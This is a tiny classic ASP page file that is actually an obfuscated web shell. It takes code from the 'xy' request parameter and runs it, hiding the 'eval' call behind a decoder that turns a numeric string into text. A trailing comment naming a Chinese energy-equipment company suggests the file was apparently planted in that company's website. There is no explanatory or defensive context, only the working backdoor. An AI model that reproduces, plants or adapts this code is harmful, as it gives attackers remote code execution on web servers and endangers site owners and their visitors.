<%
E=request("xy")
Dim xCode
xCode="101a118a97a108a32a69"
Execute(X(xCode))
Function X(a)
	a = Replace(a,"u","-")
	EncodeArr = Split(a,"a")
	For iEn=0 To UBound(EncodeArr)
		ChrAscNum = EncodeArr(iEn)
		If IsNumeric(ChrAscNum) Then
			EnTexts = EnTexts & Chrw(ChrAscNum)
		End If
	Next
	X = EnTexts
End Function%><!-- published at 2022-11-29 11:42:37 宜昌依特节能设备有限公司 -->